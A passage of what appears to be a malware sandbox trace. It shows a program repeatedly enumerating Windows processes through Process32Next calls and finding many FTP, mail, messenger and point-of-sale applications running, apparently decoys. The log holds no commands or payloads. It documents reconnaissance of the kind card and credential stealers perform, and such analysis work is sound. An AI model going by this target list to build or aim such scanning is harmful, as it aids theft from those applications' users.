Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0117.528] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0117.531] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0117.533] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0117.537] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0117.540] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0117.542] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0117.545] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0117.548] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0117.550] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0117.553] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0117.556] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0117.558] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0117.561] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0117.563] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0117.566] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0117.569] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0117.571] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0117.574] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0117.577] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0117.581] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0117.584] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0117.619] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0117.622] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0117.626] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0117.629] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0117.632] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0117.635] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0117.638] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0117.641] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0117.644] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0117.648] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0117.651] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0117.654] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0117.657] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0117.661] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0117.664] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0117.667] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0117.671] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0117.674] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0117.677] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0117.680] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0117.683] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0117.686] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0117.689] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0117.692] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0117.695] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0117.698] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0117.701] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0117.706] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0117.708] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0117.711] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0117.715] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0117.718] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0117.720] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0117.754] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0117.758] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0117.761] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0117.763] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0117.766] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0117.769] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0117.772] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0117.775] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0117.778] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0117.781] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0117.783] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0117.786] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0117.790] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0117.792] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0117.795] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.798] Process32Next (in: hSnapshot=0x20ac, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0117.802] CloseHandle (hObject=0x20ac) returned 1 [0117.802] Sleep (dwMilliseconds=0x64) [0117.903] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c8 [0117.921] Process32First (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.924] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.927] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.929] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.933] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.935] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.937] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.939] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.941] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.943] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.945] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.947] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) 